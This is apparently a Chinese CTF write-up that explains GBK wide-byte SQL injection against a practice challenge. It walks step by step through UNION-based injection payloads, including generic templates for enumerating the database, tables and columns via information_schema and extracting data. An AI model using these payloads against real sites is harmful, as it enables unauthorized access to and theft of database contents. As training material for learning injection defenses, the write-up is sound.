这几天开始逐渐接触sql注入之类的ctf题目,由于自己太菜,只能依葫芦画瓢混了几个flag,结果最后也没有感觉真正学到什么。
但是,在做cg-ctf上这道GBK-injection时,即使是按照wp知道的思路,但还是学到了不少。
题目链接:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
(起初看到的wp是用sqlmap做的,但是我电脑上只有python3,跑不起来,,,只能回头在虚拟机里用了)
首先是GBK注入的原理,参考了大佬的总结:https://blog.csdn.net/weixin_42419856/article/details/82872653
这里简而言之,是利用了注入时对单引号' 的依赖,由于gbk是宽字符集,sql使用gbk字符时,一个gbk编码的汉字占两个字节。比如:%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’。这个例子在道哥的《白帽子讲web安全》中也有提到
所以网上许多篇wp中为了使单引号逃逸而使用了%df(ascii码值大于128,使得认定为宽字符,因此还有许多其他的url编码可以使用)就是这个道理。
下面是手工注入的几个步骤:
1.盲注:
?id=1%df' and 1=2 %23
页面正常返回,确认该点存在注入
2.查数据库名
确认了库名为sae-chinalover?id=1%df' and 1=2 union select 1,database() %23
得到库名
3.查表名
?id=1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=0x7361652d6368696e616c6f766572 %23
这里的查表公式如下:
union select 1,group_concat(table_name) from information_schema.TABLES where table_schema=(十六进制数据库名,也就是sae-chinalover的十六进制) %23
得到六张表名4.查列名
这里都试了一遍查表的url,终于在gbksqli里找到了列flag......(其实从ctf的尿性看,与gbk名字相关的表有flag概率很大)
得到gbksqli列名flagid=1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMNS where table_name=0x67626b73716c69 %23
查列名公式如下:
?id = 1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.COLUMN where table_name=(十六进制某表名) %23
这里如果有sqlmap就简单多了。。。不用一个个看有没有回显
5.得flag值
flag值?id=1%df' and 1=2 union select 1,flag from gbksqli %23
终于得到了flag
获取列中数据公式如下:
?id = 1%df' and 1=2 union select 1,(某列名) from (某表名) %23 ---------------获取列中数据
今后会开始逐渐尝试做下sql注入的题目,完善技巧。
网友评论